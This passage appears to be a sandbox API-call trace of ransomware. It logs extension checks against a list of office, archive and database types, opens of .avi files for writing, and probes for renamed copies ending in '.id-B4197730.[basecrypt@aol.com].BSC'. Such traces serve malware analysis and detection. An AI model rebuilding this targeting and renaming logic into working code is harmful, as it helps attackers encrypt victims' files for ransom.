-1 [0105.991] lstrlenW (lpString=".bz2") returned 4 [0105.991] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.991] lstrlenW (lpString=".7z") returned 3 [0105.991] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.991] lstrlenW (lpString=".dbf") returned 4 [0105.992] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.992] lstrlenW (lpString=".1cd") returned 4 [0105.992] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.992] lstrlenW (lpString=".jpg") returned 4 [0105.992] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.992] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0105.992] lstrlenW (lpString="boxed-delete.avi") returned 16 [0105.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.495] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=48936) returned 1 [0109.495] CloseHandle (hObject=0x310) returned 1 [0109.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0109.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.496] lstrlenW (lpString=".doc") returned 4 [0109.496] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".docx") returned 5 [0109.496] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0109.496] lstrlenW (lpString=".pdf") returned 4 [0109.496] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".xls") returned 4 [0109.496] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".xlsx") returned 5 [0109.496] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0109.496] lstrlenW (lpString=".ppt") returned 4 [0109.496] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.496] lstrlenW (lpString=".zip") returned 4 [0109.496] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".rar") returned 4 [0109.496] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".bz2") returned 4 [0109.496] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.496] lstrlenW (lpString=".7z") returned 3 [0109.496] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.496] lstrlenW (lpString=".dbf") returned 4 [0109.496] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.497] lstrlenW (lpString=".1cd") returned 4 [0109.497] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.497] lstrlenW (lpString=".jpg") returned 4 [0109.497] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.497] lstrlenW (lpString=".doc") returned 4 [0109.497] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".docx") returned 5 [0109.497] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0109.497] lstrlenW (lpString=".pdf") returned 4 [0109.497] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".xls") returned 4 [0109.497] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".xlsx") returned 5 [0109.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0109.497] lstrlenW (lpString=".ppt") returned 4 [0109.497] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.497] lstrlenW (lpString=".zip") returned 4 [0109.497] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".rar") returned 4 [0109.497] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".bz2") returned 4 [0109.497] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.497] lstrlenW (lpString=".7z") returned 3 [0109.497] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.498] lstrlenW (lpString=".dbf") returned 4 [0109.498] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.498] lstrlenW (lpString=".1cd") returned 4 [0109.498] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0109.498] lstrlenW (lpString=".jpg") returned 4 [0109.498] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.498] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0109.498] lstrlenW (lpString="correct.avi") returned 11 [0109.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.498] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=180172) returned 1 [0109.498] CloseHandle (hObject=0x310) returned 1 [0109.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0109.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.499] lstrlenW (lpString=".doc") returned 4 [0109.499] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".docx") returned 5 [0109.499] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.499] lstrlenW (lpString=".pdf") returned 4 [0109.499] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".xls") returned 4 [0109.499] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".xlsx") returned 5 [0109.499] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.499] lstrlenW (lpString=".ppt") returned 4 [0109.499] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.499] lstrlenW (lpString=".zip") returned 4 [0109.499] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".rar") returned 4 [0109.499] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".bz2") returned 4 [0109.499] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.499] lstrlenW (lpString=".7z") returned 3 [0109.499] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.500] lstrlenW (lpString=".dbf") returned 4 [0109.500] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.500] lstrlenW (lpString=".1cd") returned 4 [0109.500] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.500] lstrlenW (lpString=".jpg") returned 4 [0109.500] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.500] lstrlenW (lpString=".doc") returned 4 [0109.500] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.500] lstrlenW (lpString=".docx") returned 5 [0109.500] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.500] lstrlenW (lpString=".pdf") returned 4 [0109.500] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.501] lstrlenW (lpString=".xls") returned 4 [0109.501] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.501] lstrlenW (lpString=".xlsx") returned 5 [0109.501] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.501] lstrlenW (lpString=".ppt") returned 4 [0109.501] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.501] lstrlenW (lpString=".zip") returned 4 [0109.501] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.501] lstrlenW (lpString=".rar") returned 4 [0109.501] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.501] lstrlenW (lpString=".bz2") returned 4 [0109.502] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.502] lstrlenW (lpString=".7z") returned 3 [0109.502] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.502] lstrlenW (lpString=".dbf") returned 4 [0109.502] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.502] lstrlenW (lpString=".1cd") returned 4 [0109.502] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0109.502] lstrlenW (lpString=".jpg") returned 4 [0109.502] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.502] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0109.502] lstrlenW (lpString="delete.avi") returned 10 [0109.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.502] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=208408) returned 1 [0109.502] CloseHandle (hObject=0x310) returned 1 [0109.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0109.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.503] lstrlenW (lpString=".doc") returned 4 [0109.503] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".docx") returned 5 [0109.503] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0109.503] lstrlenW (lpString=".pdf") returned 4 [0109.503] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".xls") returned 4 [0109.503] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".xlsx") returned 5 [0109.503] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0109.503] lstrlenW (lpString=".ppt") returned 4 [0109.503] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.503] lstrlenW (lpString=".zip") returned 4 [0109.503] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".rar") returned 4 [0109.503] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".bz2") returned 4 [0109.503] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.503] lstrlenW (lpString=".7z") returned 3 [0109.503] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString=".dbf") returned 4 [0109.504] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString=".1cd") returned 4 [0109.504] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString=".jpg") returned 4 [0109.504] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString=".doc") returned 4 [0109.504] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString=".docx") returned 5 [0109.504] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0109.504] lstrlenW (lpString=".pdf") returned 4 [0109.504] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString=".xls") returned 4 [0109.504] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString=".xlsx") returned 5 [0109.504] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0109.504] lstrlenW (lpString=".ppt") returned 4 [0109.504] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.504] lstrlenW (lpString=".zip") returned 4 [0109.504] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString=".rar") returned 4 [0109.504] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.504] lstrlenW (lpString=".bz2") returned 4 [0109.504] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.505] lstrlenW (lpString=".7z") returned 3 [0109.505] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.505] lstrlenW (lpString=".dbf") returned 4 [0109.505] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.505] lstrlenW (lpString=".1cd") returned 4 [0109.505] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0109.505] lstrlenW (lpString=".jpg") returned 4 [0109.505] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.505] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0109.505] lstrlenW (lpString="join.avi") returned 8 [0109.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.505] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=199994) returned 1 [0109.505] CloseHandle (hObject=0x310) returned 1 [0109.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0109.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.506] lstrlenW (lpString=".doc") returned 4 [0109.506] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".docx") returned 5 [0109.506] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0109.506] lstrlenW (lpString=".pdf") returned 4 [0109.506] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".xls") returned 4 [0109.506] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".xlsx") returned 5 [0109.506] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0109.506] lstrlenW (lpString=".ppt") returned 4 [0109.506] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.506] lstrlenW (lpString=".zip") returned 4 [0109.506] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".rar") returned 4 [0109.506] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".bz2") returned 4 [0109.506] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.506] lstrlenW (lpString=".7z") returned 3 [0109.506] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString=".dbf") returned 4 [0109.507] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString=".1cd") returned 4 [0109.507] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString=".jpg") returned 4 [0109.507] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString=".doc") returned 4 [0109.507] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".docx") returned 5 [0109.507] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0109.507] lstrlenW (lpString=".pdf") returned 4 [0109.507] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".xls") returned 4 [0109.507] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".xlsx") returned 5 [0109.507] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0109.507] lstrlenW (lpString=".ppt") returned 4 [0109.507] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.507] lstrlenW (lpString=".zip") returned 4 [0109.507] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".rar") returned 4 [0109.507] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".bz2") returned 4 [0109.507] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.507] lstrlenW (lpString=".7z") returned 3 [0109.507] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.508] lstrlenW (lpString=".dbf") returned 4 [0109.508] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.508] lstrlenW (lpString=".1cd") returned 4 [0109.508] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0109.508] lstrlenW (lpString=".jpg") returned 4 [0109.508] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.508] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0109.508] lstrlenW (lpString="split.avi") returned 9 [0109.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.508] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=181964) returned 1 [0109.508] CloseHandle (hObject=0x310) returned 1 [0109.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0109.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString=".doc") returned 4 [0109.509] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".docx") returned 5 [0109.509] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.509] lstrlenW (lpString=".pdf") returned 4 [0109.509] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".xls") returned 4 [0109.509] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString=".xlsx") returned 5 [0109.509] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.509] lstrlenW (lpString=".ppt") returned 4 [0109.509] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0109.509] lstrlenW (lpString=".zip") returned 4 [0109.509] lstrcmpiW 